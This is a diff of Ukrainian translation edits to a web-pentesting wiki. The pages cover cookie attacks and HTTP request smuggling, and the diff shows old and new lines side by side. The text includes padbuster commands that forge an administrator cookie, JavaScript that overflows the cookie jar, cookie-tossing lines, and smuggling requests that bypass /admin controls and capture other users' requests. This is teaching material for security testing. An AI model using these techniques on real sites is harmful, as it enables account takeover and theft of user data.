Тут зловмисник переконує жертву використовувати cookie сесії зловмисника. Жертва, вважаючи, що вона увійшла до свого облікового запису, ненавмисно виконує дії в контексті облікового запису зловмисника. Тут зловмисник переконує жертву використовувати cookie сесії зловмисника. Жертва, вважаючи, що вона увійшла до свого облікового запису, ненавмисно виконує дії в контексті облікового запису зловмисника.
Якщо ви знайшли **XSS у піддомені** або ви **контролюєте піддомен**, прочитайте: Якщо ви знайшли **XSS у піддомені** або **контролюєте піддомен**, прочитайте:
{{#ref}} {{#ref}}
cookie-tossing.md cookie-tossing.md
@ -155,11 +155,11 @@ document.cookie = `${name}=${value}`
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
``` ```
Це призводить до того, що браузер надсилає заголовок cookie, який кожен веб-сервер інтерпретує як cookie з назвою `a` та значенням `b`. Це призводить до того, що браузер надсилає заголовок cookie, який інтерпретується кожним веб-сервером як cookie з назвою `a` та значенням `b`.
#### Chrome Bug: Проблема з кодовими точками сурогатного Юнікоду #### Chrome Bug: Проблема з кодовими точками сурогатів Unicode
У Chrome, якщо кодова точка сурогату Юнікоду є частиною встановленого cookie, `document.cookie` стає пошкодженим, повертаючи порожній рядок надалі: У Chrome, якщо кодова точка сурогата Unicode є частиною встановленого cookie, `document.cookie` стає пошкодженим, повертаючи порожній рядок наступним чином:
```js ```js
document.cookie = "\ud800=meep" document.cookie = "\ud800=meep"
``` ```
@ -171,7 +171,7 @@ document.cookie = "\ud800=meep"
``` ```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
``` ```
#### Уразливості ін'єкції cookie #### Вразливості ін'єкції cookie
(Дивіться деталі в [оригінальному дослідженні](https://blog.ankursundara.com/cookie-bugs/)) Неправильний парсинг cookie серверами, зокрема Undertow, Zope та тими, що використовують Python's `http.cookie.SimpleCookie` і `http.cookie.BaseCookie`, створює можливості для атак ін'єкції cookie. Ці сервери не можуть правильно обмежити початок нових cookie, що дозволяє зловмисникам підробляти cookie: (Дивіться деталі в [оригінальному дослідженні](https://blog.ankursundara.com/cookie-bugs/)) Неправильний парсинг cookie серверами, зокрема Undertow, Zope та тими, що використовують Python's `http.cookie.SimpleCookie` і `http.cookie.BaseCookie`, створює можливості для атак ін'єкції cookie. Ці сервери не можуть правильно обмежити початок нових cookie, що дозволяє зловмисникам підробляти cookie:
@ -179,7 +179,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
- Zope шукає кому, щоб почати парсинг наступного cookie. - Zope шукає кому, щоб почати парсинг наступного cookie.
- Класи cookie Python починають парсинг з символу пробілу. - Класи cookie Python починають парсинг з символу пробілу.
Ця уразливість особливо небезпечна в веб-додатках, що покладаються на захист CSRF на основі cookie, оскільки дозволяє зловмисникам ін'єктувати підроблені cookie токенів CSRF, потенційно обходячи заходи безпеки. Проблема ускладнюється обробкою Python дублікатів імен cookie, де останнє входження перекриває попередні. Це також викликає занепокоєння щодо cookie `__Secure-` і `__Host-` в небезпечних контекстах і може призвести до обходу авторизації, коли cookie передаються на сервери, що піддаються підробці. Ця вразливість особливо небезпечна в веб-додатках, що покладаються на захист CSRF на основі cookie, оскільки це дозволяє зловмисникам ін'єктувати підроблені cookie CSRF-токенів, потенційно обходячи заходи безпеки. Проблема ускладнюється обробкою Python дублікатів імен cookie, де останнє входження перекриває попередні. Це також викликає занепокоєння щодо cookie `__Secure-` і `__Host-` в небезпечних контекстах і може призвести до обходу авторизації, коли cookie передаються на сервери, що піддаються підробці.
### Cookies $version та обходи WAF ### Cookies $version та обходи WAF
@ -187,14 +187,14 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
#### Аналіз обходу значення з кодуванням цитованого рядка #### Аналіз обходу значення з кодуванням цитованого рядка
Цей парсинг вказує на те, щоб розкодувати ескейповані значення всередині cookie, тому "\a" стає "a". Це може бути корисно для обходу WAF, оскільки: Цей парсинг вказує на те, щоб розкодувати екрановані значення всередині cookie, тому "\a" стає "a". Це може бути корисно для обходу WAF, оскільки:
- `eval('test') => заборонено` - `eval('test') => заборонено`
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => дозволено` - `"\e\v\a\l\(\'\t\e\s\t\'\)" => дозволено`
#### Обхід блокувань імен cookie #### Обхід блокувань імен cookie
У RFC2109 вказується, що **кома може використовуватися як роздільник між значеннями cookie**. Також можливо додати **пробіли та табуляції перед і після знака рівності**. Тому cookie, як-от `$Version=1; foo=bar, abc = qux`, не генерує cookie `"foo":"bar, admin = qux"`, а генерує cookie `foo":"bar"` і `"admin":"qux"`. Зверніть увагу, як генеруються 2 cookie і як з admin видалено пробіл перед і після знака рівності. У RFC2109 вказується, що **кома може використовуватися як роздільник між значеннями cookie**. Також можливо додавати **пробіли та табуляції перед і після знака рівності**. Тому cookie, як-от `$Version=1; foo=bar, abc = qux`, не генерує cookie `"foo":"bar, admin = qux"`, а генерує cookie `foo":"bar"` і `"admin":"qux"`. Зверніть увагу, як генеруються 2 cookie і як з admin видалено пробіл перед і після знака рівності.
#### Обхід аналізу значення з розділенням cookie #### Обхід аналізу значення з розділенням cookie
@ -232,7 +232,7 @@ Resulting cookie: name=eval('test//, comment') => allowed
- Спробуйте **брутфорсити ім'я користувача**. Якщо cookie зберігається лише як метод аутентифікації для вашого імені користувача, тоді ви можете створити обліковий запис з ім'ям користувача "**Bmin**" і **брутфорсити** кожен окремий **біт** вашого cookie, оскільки один з cookie, які ви спробуєте, буде належати "**admin**". - Спробуйте **брутфорсити ім'я користувача**. Якщо cookie зберігається лише як метод аутентифікації для вашого імені користувача, тоді ви можете створити обліковий запис з ім'ям користувача "**Bmin**" і **брутфорсити** кожен окремий **біт** вашого cookie, оскільки один з cookie, які ви спробуєте, буде належати "**admin**".
- Спробуйте **Padding** **Oracle** (ви можете розшифрувати вміст cookie). Використовуйте **padbuster**. - Спробуйте **Padding** **Oracle** (ви можете розшифрувати вміст cookie). Використовуйте **padbuster**.
**Padding Oracle - приклади Padbuster** **Padding Oracle - Приклади Padbuster**
```bash ```bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]> padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64 # When cookies and regular Base64
@ -250,7 +250,7 @@ Padbuster зробить кілька спроб і запитає вас, як
``` ```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
``` ```
Це виконання надасть вам cookie, правильно зашифрований і закодований зі строкою **user=administrator** всередині. Це виконання надасть вам cookie, правильно зашифрований та закодований зі строкою **user=administrator** всередині.
**CBC-MAC** **CBC-MAC**
@ -265,7 +265,7 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
**ECB** **ECB**
Якщо cookie зашифровано за допомогою ECB, він може бути вразливим.\ Якщо cookie зашифровано за допомогою ECB, він може бути вразливим.\
Коли ви входите в систему, cookie, який ви отримуєте, завжди має бути однаковим. Коли ви входите, cookie, який ви отримуєте, завжди має бути однаковим.
**Як виявити та атакувати:** **Як виявити та атакувати:**

View File

@ -1,6 +1,6 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
Браузери мають **обмеження на кількість кукі** , які вони можуть зберігати для сторінки. Тоді, якщо з якоїсь причини вам потрібно **зробити кукі невидимими**, ви можете **переповнити банку з кукі**, оскільки найстаріші з них будуть видалені першими: Браузери мають **обмеження на кількість кукі**, які вони можуть зберігати для сторінки. Тоді, якщо з якоїсь причини вам потрібно **зробити кукі невидимими**, ви можете **переповнити банку з кукі**, оскільки найстаріші з них будуть видалені першими:
```javascript ```javascript
// Set many cookies // Set many cookies
for (let i = 0; i < 700; i++) { for (let i = 0; i < 700; i++) {
@ -15,7 +15,7 @@ document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`
Зверніть увагу, що сторонні куки, які вказують на інший домен, не будуть перезаписані. Зверніть увагу, що сторонні куки, які вказують на інший домен, не будуть перезаписані.
> [!CAUTION] > [!CAUTION]
> Цей напад також можна використовувати для **перезапису HttpOnly куків, оскільки ви можете видалити їх, а потім скинути з потрібним вам значенням**. > Цей напад також можна використовувати для **перезапису HttpOnly куків, оскільки ви можете їх видалити, а потім скинути з потрібним вам значенням**.
> >
> Перевірте це в [**цьому пості з лабораторією**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/). > Перевірте це в [**цьому пості з лабораторією**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).

View File

@ -6,7 +6,7 @@
Якщо зловмисник може **контролювати піддомен або домен компанії або знаходить XSS у піддомені**, він зможе виконати цю атаку. Якщо зловмисник може **контролювати піддомен або домен компанії або знаходить XSS у піддомені**, він зможе виконати цю атаку.
Як було зазначено в розділі про Хакінг Куків, коли **кука встановлюється для домену (з його вказівкою), вона буде використовуватися в домені та піддоменах.** Як було зазначено в розділі про Хакінг Куків, коли **кука встановлюється для домену (з його зазначенням), вона буде використовуватися в домені та піддоменах.**
> [!CAUTION] > [!CAUTION]
> Тому, **зловмисник зможе встановити для домену та піддоменів конкретну куку, зробивши щось на кшталт** `document.cookie="session=1234; Path=/app/login; domain=.example.com"` > Тому, **зловмисник зможе встановити для домену та піддоменів конкретну куку, зробивши щось на кшталт** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
@ -15,9 +15,9 @@
- **Фіксувати куку жертви на обліковий запис зловмисника**, тому якщо користувач не помітить, **він буде виконувати дії в обліковому записі зловмисника**, і зловмисник може отримати деяку цікаву інформацію (перевірити історію пошуків користувача на платформі, жертва може вказати свою кредитну картку в обліковому записі...) - **Фіксувати куку жертви на обліковий запис зловмисника**, тому якщо користувач не помітить, **він буде виконувати дії в обліковому записі зловмисника**, і зловмисник може отримати деяку цікаву інформацію (перевірити історію пошуків користувача на платформі, жертва може вказати свою кредитну картку в обліковому записі...)
- Якщо **кука не змінюється після входу**, зловмисник може просто **фіксувати куку (session-fixation)**, почекати, поки жертва увійде, а потім **використати цю куку, щоб увійти як жертва**. - Якщо **кука не змінюється після входу**, зловмисник може просто **фіксувати куку (session-fixation)**, почекати, поки жертва увійде, а потім **використати цю куку, щоб увійти як жертва**.
- Іноді, навіть якщо куки сесії змінюються, зловмисник використовує попередню, і він також отримає нову. - Іноді, навіть якщо куки сесії змінюються, зловмисник використовує попередню і також отримає нову.
- Якщо **кука встановлює деяке початкове значення** (як у flask, де **кука** може **встановити** **CSRF токен** сесії, і це значення буде зберігатися після входу жертви), **зловмисник може встановити це відоме значення і потім зловживати ним** (в цьому сценарії зловмисник може змусити користувача виконати CSRF запит, оскільки знає CSRF токен). - Якщо **кука встановлює деяке початкове значення** (як у flask, де **кука** може **встановити** **CSRF токен** сесії, і це значення буде зберігатися після входу жертви), **зловмисник може встановити це відоме значення і потім зловживати ним** (в цьому сценарії зловмисник може змусити користувача виконати CSRF запит, оскільки знає CSRF токен).
- Так само, як встановлення значення, зловмисник також може отримати неавторизовану куку, згенеровану сервером, отримати з неї CSRF токен і використовувати його. - Так само, як встановлення значення, зловмисник також може отримати неавтентифіковану куку, згенеровану сервером, отримати з неї CSRF токен і використовувати його.
### Порядок Кук ### Порядок Кук

View File

@ -18,7 +18,7 @@ Host: [internal-host]
``` ```
### First-request Routing ### First-request Routing
В деяких конфігураціях, фронтальний сервер може використовувати **заголовок Host першого запиту** для визначення маршрутизації на бекенді для цього запиту, а потім постійно маршрутизувати всі наступні запити з того ж клієнтського з'єднання до того ж з'єднання на бекенді. Це можна продемонструвати як: В деяких конфігураціях, фронтальний сервер може використовувати **заголовок Host першого запиту** для визначення маршрутизації на бекенді для цього запиту, а потім постійно маршрутизувати всі наступні запити з того ж клієнтського з'єднання до того ж бекенд-з'єднання. Це можна продемонструвати як:
``` ```
GET / HTTP/1.1 GET / HTTP/1.1
Host: example.com Host: example.com
@ -26,9 +26,9 @@ Host: example.com
POST /pwreset HTTP/1.1 POST /pwreset HTTP/1.1
Host: psres.net Host: psres.net
``` ```
Цю проблему можна потенційно поєднати з [атаками заголовка Host](https://portswigger.net/web-security/host-header), такими як отруєння скидання пароля або [отруєння веб-кешу](https://portswigger.net/web-security/web-cache-poisoning), щоб експлуатувати інші вразливості або отримати несанкціонований доступ до додаткових віртуальних хостів. Цю проблему можна потенційно поєднати з [атаками на заголовок Host](https://portswigger.net/web-security/host-header), такими як отруєння скидання пароля або [отруєння веб-кешу](https://portswigger.net/web-security/web-cache-poisoning), щоб експлуатувати інші вразливості або отримати несанкціонований доступ до додаткових віртуальних хостів.
> [!NOTE] > [!NOTE]
> Для виявлення цих вразливостей можна використовувати функцію 'connection-state probe' в HTTP Request Smuggler. > Для виявлення цих вразливостей можна використовувати функцію 'connection-state probe' у HTTP Request Smuggler.
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -9,7 +9,7 @@
### Теорія ### Теорія
[**RFC Специфікація (2161)**](https://tools.ietf.org/html/rfc2616) [**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
> Якщо повідомлення отримано з обома заголовками Transfer-Encoding та Content-Length, останній ПОВИНЕН бути проігнорований. > Якщо повідомлення отримано з обома заголовками Transfer-Encoding та Content-Length, останній ПОВИНЕН бути проігнорований.
@ -24,8 +24,8 @@
### Реальність ### Реальність
**Фронтальний** (балансування навантаження / Реверс Проксі) **обробляє** _**content-length**_ або _**transfer-encoding**_ заголовок, а **бекенд** сервер **обробляє інший**, викликаючи **десинхронізацію** між 2 системами.\ **Фронтальне** (балансування навантаження / Реверс-проксі) **обробляє** _**content-length**_ або _**transfer-encoding**_ заголовок, а **бекенд** сервер **обробляє інший**, викликаючи **десинхронізацію** між 2 системами.\
Це може бути дуже критично, оскільки **зловмисник зможе надіслати один запит** до реверс-проксі, який буде **інтерпретований** бекенд сервером **як 2 різні запити**. **Небезпека** цієї техніки полягає в тому, що **бекенд** сервер **інтерпретує** **2-й запит, що вставлений**, як якщо б він **надійшов від наступного клієнта**, а **реальний запит** цього клієнта буде **частиною** **вставленого запиту**. Це може бути дуже критично, оскільки **зловмисник зможе надіслати один запит** до реверс-проксі, який буде **інтерпретований** бекенд сервером **як 2 різні запити**. **Небезпека** цієї техніки полягає в тому, що **бекенд** сервер **інтерпретує** **2-й запит, що інжектується**, як якщо б він **надійшов від наступного клієнта**, а **реальний запит** цього клієнта буде **частиною** **інжектованого запиту**.
### Особливості ### Особливості
@ -38,7 +38,7 @@
## Основні приклади ## Основні приклади
> [!TIP] > [!TIP]
> При спробі експлуатувати це з Burp Suite **відключіть `Update Content-Length` та `Normalize HTTP/1 line endings`** в повторювачі, оскільки деякі гаджети зловживають новими рядками, поверненнями каретки та неправильно сформованими content-length. > При спробі експлуатувати це за допомогою Burp Suite **вимкніть `Update Content-Length` та `Normalize HTTP/1 line endings`** в повторювачі, оскільки деякі гаджети зловживають новими рядками, поверненнями каретки та неправильно сформованими content-length.
Атаки на смугування HTTP запитів створюються шляхом надсилання неоднозначних запитів, які експлуатують розбіжності в тому, як фронтальні та бекенд сервери інтерпретують заголовки `Content-Length` (CL) та `Transfer-Encoding` (TE). Ці атаки можуть проявлятися в різних формах, головним чином як **CL.TE**, **TE.CL** та **TE.TE**. Кожен тип представляє унікальну комбінацію того, як фронтальні та бекенд сервери пріоритетизують ці заголовки. Вразливості виникають через те, що сервери обробляють один і той же запит по-різному, що призводить до несподіваних і потенційно шкідливих наслідків. Атаки на смугування HTTP запитів створюються шляхом надсилання неоднозначних запитів, які експлуатують розбіжності в тому, як фронтальні та бекенд сервери інтерпретують заголовки `Content-Length` (CL) та `Transfer-Encoding` (TE). Ці атаки можуть проявлятися в різних формах, головним чином як **CL.TE**, **TE.CL** та **TE.TE**. Кожен тип представляє унікальну комбінацію того, як фронтальні та бекенд сервери пріоритетизують ці заголовки. Вразливості виникають через те, що сервери обробляють один і той же запит по-різному, що призводить до несподіваних і потенційно шкідливих наслідків.
@ -51,7 +51,7 @@
#### Вразливість CL.TE (Content-Length використовується фронтальним, Transfer-Encoding використовується бекендом) #### Вразливість CL.TE (Content-Length використовується фронтальним, Transfer-Encoding використовується бекендом)
- **Фронтальний (CL):** Обробляє запит на основі заголовка `Content-Length`. - **Фронтальне (CL):** Обробляє запит на основі заголовка `Content-Length`.
- **Бекенд (TE):** Обробляє запит на основі заголовка `Transfer-Encoding`. - **Бекенд (TE):** Обробляє запит на основі заголовка `Transfer-Encoding`.
- **Сценарій атаки:** - **Сценарій атаки:**
@ -75,12 +75,12 @@ Foo: x
#### Вразливість TE.CL (Transfer-Encoding використовується фронтальним, Content-Length використовується бекендом) #### Вразливість TE.CL (Transfer-Encoding використовується фронтальним, Content-Length використовується бекендом)
- **Фронтальний (TE):** Обробляє запит на основі заголовка `Transfer-Encoding`. - **Фронтальне (TE):** Обробляє запит на основі заголовка `Transfer-Encoding`.
- **Бекенд (CL):** Обробляє запит на основі заголовка `Content-Length`. - **Бекенд (CL):** Обробляє запит на основі заголовка `Content-Length`.
- **Сценарій атаки:** - **Сценарій атаки:**
- Зловмисник надсилає фрагментований запит, де розмір фрагмента (`7b`) і фактична довжина вмісту (`Content-Length: 4`) не збігаються. - Зловмисник надсилає фрагментований запит, де розмір фрагмента (`7b`) і фактична довжина вмісту (`Content-Length: 4`) не збігаються.
- Фронтальний сервер, дотримуючись `Transfer-Encoding`, пересилає весь запит до бекенду. - Фронтальний сервер, поважаючи `Transfer-Encoding`, пересилає весь запит до бекенду.
- Бекенд сервер, поважаючи `Content-Length`, обробляє лише початкову частину запиту (`7b` байтів), залишаючи решту частиною ненавмисного наступного запиту. - Бекенд сервер, поважаючи `Content-Length`, обробляє лише початкову частину запиту (`7b` байтів), залишаючи решту частиною ненавмисного наступного запиту.
- **Приклад:** - **Приклад:**
@ -146,7 +146,7 @@ Normal Request
#### **Сценарій CL.0** #### **Сценарій CL.0**
- Відноситься до сценаріїв, де заголовок `Content-Length` присутній і має значення, відмінне від нуля, що вказує на те, що тіло запиту має вміст. Бекенд ігнорує заголовок `Content-Length` (який обробляється як 0), але фронтальний його парсить. - Відноситься до сценаріїв, де заголовок `Content-Length` присутній і має значення, відмінне від нуля, що вказує на те, що тіло запиту має вміст. Бекенд ігнорує заголовок `Content-Length` (який розглядається як 0), але фронтальний його парсить.
- Це важливо для розуміння та створення атак на смугування, оскільки це впливає на те, як сервери визначають кінець запиту. - Це важливо для розуміння та створення атак на смугування, оскільки це впливає на те, як сервери визначають кінець запиту.
- **Приклад:** - **Приклад:**
@ -162,7 +162,7 @@ Non-Empty Body
#### Сценарій TE.0 #### Сценарій TE.0
- Як попередній, але з використанням TE - Як попередній, але з використанням TE
- Техніка [повідомлена тут](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) - Техніка [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Приклад:** - **Приклад:**
``` ```
OPTIONS / HTTP/1.1 OPTIONS / HTTP/1.1
@ -189,7 +189,7 @@ EMPTY_LINE_HERE
#### Примус через заголовки hop-by-hop #### Примус через заголовки hop-by-hop
Зловживаючи заголовками hop-by-hop, ви можете вказати проксі **видалити заголовок Content-Length або Transfer-Encoding, щоб зловживання HTTP-запитом було можливим**. Зловживаючи заголовками hop-by-hop, ви можете вказати проксі **видалити заголовок Content-Length або Transfer-Encoding, щоб зловживання HTTP-запитом стало можливим**.
``` ```
Connection: Content-Length Connection: Content-Length
``` ```
@ -258,14 +258,14 @@ X
- Надішліть трохи змінені версії запиту та спостерігайте, чи відповіді сервера відрізняються несподіваним чином, що вказує на розбіжність у парсингу. - Надішліть трохи змінені версії запиту та спостерігайте, чи відповіді сервера відрізняються несподіваним чином, що вказує на розбіжність у парсингу.
- **Використання автоматизованих інструментів:** - **Використання автоматизованих інструментів:**
- Інструменти, такі як розширення 'HTTP Request Smuggler' Burp Suite, можуть автоматично перевіряти ці вразливості, надсилаючи різні форми неоднозначних запитів і аналізуючи відповіді. - Інструменти, такі як розширення 'HTTP Request Smuggler' Burp Suite, можуть автоматично перевіряти ці вразливості, надсилаючи різні форми неоднозначних запитів і аналізуючи відповіді.
- **Тести варіацій Content-Length:** - **Тести на варіацію Content-Length:**
- Надсилайте запити з різними значеннями `Content-Length`, які не відповідають фактичній довжині вмісту, і спостерігайте, як сервер обробляє такі невідповідності. - Надсилайте запити з різними значеннями `Content-Length`, які не відповідають фактичній довжині вмісту, і спостерігайте, як сервер обробляє такі невідповідності.
- **Тести варіацій Transfer-Encoding:** - **Тести на варіацію Transfer-Encoding:**
- Надсилайте запити з обфусцированими або неправильно сформованими заголовками `Transfer-Encoding` і спостерігайте, як по-різному сервери на передньому та задньому плані реагують на такі маніпуляції. - Надсилайте запити з обфусцированими або неправильно сформованими заголовками `Transfer-Encoding` і спостерігайте, як по-різному сервери на передньому та задньому планах реагують на такі маніпуляції.
### Тестування вразливостей HTTP Request Smuggling ### Тестування вразливостей HTTP Request Smuggling
Після підтвердження ефективності технік таймінгу важливо перевірити, чи можна маніпулювати запитами клієнта. Простий метод - спробувати отруїти свої запити, наприклад, зробивши запит до `/`, щоб отримати відповідь 404. Приклади `CL.TE` та `TE.CL`, обговорені раніше в [Basic Examples](./#basic-examples), демонструють, як отруїти запит клієнта, щоб викликати відповідь 404, незважаючи на те, що клієнт намагається отримати доступ до іншого ресурсу. Після підтвердження ефективності технік таймінгу важливо перевірити, чи можна маніпулювати запитами клієнта. Простий метод - спробувати отруїти свої запити, наприклад, зробивши запит до `/`, щоб отримати відповідь 404. Приклади `CL.TE` та `TE.CL`, обговорені раніше в [Основні приклади](./#basic-examples), демонструють, як отруїти запит клієнта, щоб викликати відповідь 404, незважаючи на те, що клієнт намагається отримати доступ до іншого ресурсу.
**Ключові міркування** **Ключові міркування**
@ -283,7 +283,7 @@ X
Іноді проксі-сервери на передньому плані впроваджують заходи безпеки, перевіряючи вхідні запити. Однак ці заходи можна обійти, експлуатуючи HTTP Request Smuggling, що дозволяє несанкціонований доступ до обмежених кінцевих точок. Наприклад, доступ до `/admin` може бути заборонений ззовні, а проксі на передньому плані активно блокує такі спроби. Проте цей проксі може не перевіряти вбудовані запити в межах прихованого HTTP запиту, залишаючи лазівку для обходу цих обмежень. Іноді проксі-сервери на передньому плані впроваджують заходи безпеки, перевіряючи вхідні запити. Однак ці заходи можна обійти, експлуатуючи HTTP Request Smuggling, що дозволяє несанкціонований доступ до обмежених кінцевих точок. Наприклад, доступ до `/admin` може бути заборонений ззовні, а проксі на передньому плані активно блокує такі спроби. Проте цей проксі може не перевіряти вбудовані запити в межах прихованого HTTP запиту, залишаючи лазівку для обходу цих обмежень.
Розгляньте наступні приклади, які ілюструють, як HTTP Request Smuggling може бути використано для обходу заходів безпеки на передньому плані, зокрема націлюючись на шлях `/admin`, який зазвичай охороняється проксі на передньому плані: Розгляньте наступні приклади, які ілюструють, як HTTP Request Smuggling може бути використано для обходу засобів безпеки на передньому плані, зокрема націлюючись на шлях `/admin`, який зазвичай охороняється проксі на передньому плані:
**Приклад CL.TE** **Приклад CL.TE**
``` ```
@ -302,7 +302,7 @@ Content-Length: 10
x= x=
``` ```
В атаці CL.TE заголовок `Content-Length` використовується для початкового запиту, тоді як наступний вбудований запит використовує заголовок `Transfer-Encoding: chunked`. Проксі на фронтенді обробляє початковий `POST` запит, але не перевіряє вбудований запит `GET /admin`, що дозволяє несанкціонований доступ до шляху `/admin`. В атаці CL.TE заголовок `Content-Length` використовується для початкового запиту, тоді як наступний вбудований запит використовує заголовок `Transfer-Encoding: chunked`. Фронтальний проксі обробляє початковий `POST` запит, але не перевіряє вбудований запит `GET /admin`, що дозволяє несанкціонований доступ до шляху `/admin`.
**TE.CL Приклад** **TE.CL Приклад**
``` ```
@ -320,11 +320,11 @@ a=x
0 0
``` ```
Навпаки, в атаці TE.CL початковий `POST` запит використовує `Transfer-Encoding: chunked`, а наступний вбудований запит обробляється на основі заголовка `Content-Length`. Подібно до атаки CL.TE, фронтальний проксі ігнорує підроблений `GET /admin` запит, ненавмисно надаючи доступ до обмеженого `/admin` шляху. Навпаки, в атаці TE.CL початковий `POST` запит використовує `Transfer-Encoding: chunked`, а наступний вбудований запит обробляється на основі заголовка `Content-Length`. Подібно до атаки CL.TE, фронтальний проксі ігнорує контрабандний запит `GET /admin`, ненавмисно надаючи доступ до обмеженого шляху `/admin`.
### Виявлення переписування фронтальних запитів <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a> ### Виявлення переписування фронтальних запитів <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Додатки часто використовують **фронтальний сервер** для модифікації вхідних запитів перед їх передачею на бекенд-сервер. Типова модифікація включає додавання заголовків, таких як `X-Forwarded-For: <IP клієнта>`, для передачі IP клієнта на бекенд. Розуміння цих модифікацій може бути вирішальним, оскільки це може виявити способи **обійти захист** або **виявити приховану інформацію чи кінцеві точки**. Додатки часто використовують **фронтальний сервер** для модифікації вхідних запитів перед їх передачею на бекенд-сервер. Типова модифікація включає додавання заголовків, таких як `X-Forwarded-For: <IP клієнта>`, для передачі IP клієнта на бекенд. Розуміння цих модифікацій може бути вирішальним, оскільки це може виявити способи **обійти захист** або **виявити приховану інформацію або кінцеві точки**.
Щоб дослідити, як проксі змінює запит, знайдіть параметр POST, який бекенд відображає у відповіді. Потім створіть запит, використовуючи цей параметр останнім, подібно до наступного: Щоб дослідити, як проксі змінює запит, знайдіть параметр POST, який бекенд відображає у відповіді. Потім створіть запит, використовуючи цей параметр останнім, подібно до наступного:
``` ```
@ -345,7 +345,7 @@ search=
``` ```
У цій структурі наступні компоненти запиту додаються після `search=`, що є параметром, відображеним у відповіді. Це відображення відкриє заголовки наступного запиту. У цій структурі наступні компоненти запиту додаються після `search=`, що є параметром, відображеним у відповіді. Це відображення відкриє заголовки наступного запиту.
Важливо узгодити заголовок `Content-Length` вкладеного запиту з фактичною довжиною вмісту. Рекомендується починати з невеликого значення і поступово збільшувати, оскільки занадто низьке значення обрізає відображені дані, а занадто високе значення може призвести до помилки запиту. Важливо узгодити заголовок `Content-Length` вкладеного запиту з фактичною довжиною вмісту. Рекомендується починати з невеликого значення і поступово збільшувати, оскільки занадто низьке значення обрізає відображені дані, а занадто високе може призвести до помилки запиту.
Ця техніка також застосовна в контексті вразливості TE.CL, але запит повинен закінчуватися на `search=\r\n0`. Незалежно від символів нового рядка, значення будуть додаватися до параметра пошуку. Ця техніка також застосовна в контексті вразливості TE.CL, але запит повинен закінчуватися на `search=\r\n0`. Незалежно від символів нового рядка, значення будуть додаватися до параметра пошуку.
@ -353,7 +353,7 @@ search=
### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a> ### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
Можливо захопити запити наступного користувача, додавши конкретний запит як значення параметра під час операції POST. Ось як це можна здійснити: Цілком можливо захопити запити наступного користувача, додавши конкретний запит як значення параметра під час операції POST. Ось як це можна здійснити:
Додавши наступний запит як значення параметра, ви можете зберегти запит наступного клієнта: Додавши наступний запит як значення параметра, ви можете зберегти запит наступного клієнта:
``` ```
@ -377,9 +377,9 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
``` ```
У цьому сценарії **параметр коментаря** призначений для зберігання вмісту в секції коментарів поста на публічно доступній сторінці. Відповідно, вміст наступного запиту з'явиться як коментар. У цьому сценарії **параметр коментаря** призначений для зберігання вмісту в секції коментарів поста на публічно доступній сторінці. Відповідно, вміст наступного запиту з'явиться як коментар.
Однак у цієї техніки є обмеження. Як правило, вона захоплює дані лише до роздільника параметра, використаного в контрабандному запиті. Для URL-кодованих форм, цей роздільник - це символ `&`. Це означає, що захоплений вміст з запиту жертви зупиниться на першому `&`, який може бути частиною рядка запиту. Однак у цієї техніки є обмеження. Як правило, вона захоплює дані лише до роздільника параметра, використаного в контрабандному запиті. Для URL-кодованих форм, цей роздільник - це символ `&`. Це означає, що захоплений вміст з запиту жертви зупиниться на першому `&`, який може навіть бути частиною рядка запиту.
Крім того, варто зазначити, що цей підхід також є життєздатним з вразливістю TE.CL. У таких випадках запит має закінчуватися `search=\r\n0`. Незалежно від символів нового рядка, значення будуть додані до параметра пошуку. Крім того, варто зазначити, що цей підхід також є життєздатним з вразливістю TE.CL. У таких випадках запит має закінчуватися на `search=\r\n0`. Незалежно від символів нового рядка, значення будуть додані до параметра пошуку.
### Використання HTTP request smuggling для експлуатації відображеного XSS ### Використання HTTP request smuggling для експлуатації відображеного XSS
@ -424,11 +424,11 @@ A=
Версія HTTP/0.9 була попередньою до 1.0 і використовує лише **GET** дієслова та **не** відповідає з **заголовками**, лише тілом. Версія HTTP/0.9 була попередньою до 1.0 і використовує лише **GET** дієслова та **не** відповідає з **заголовками**, лише тілом.
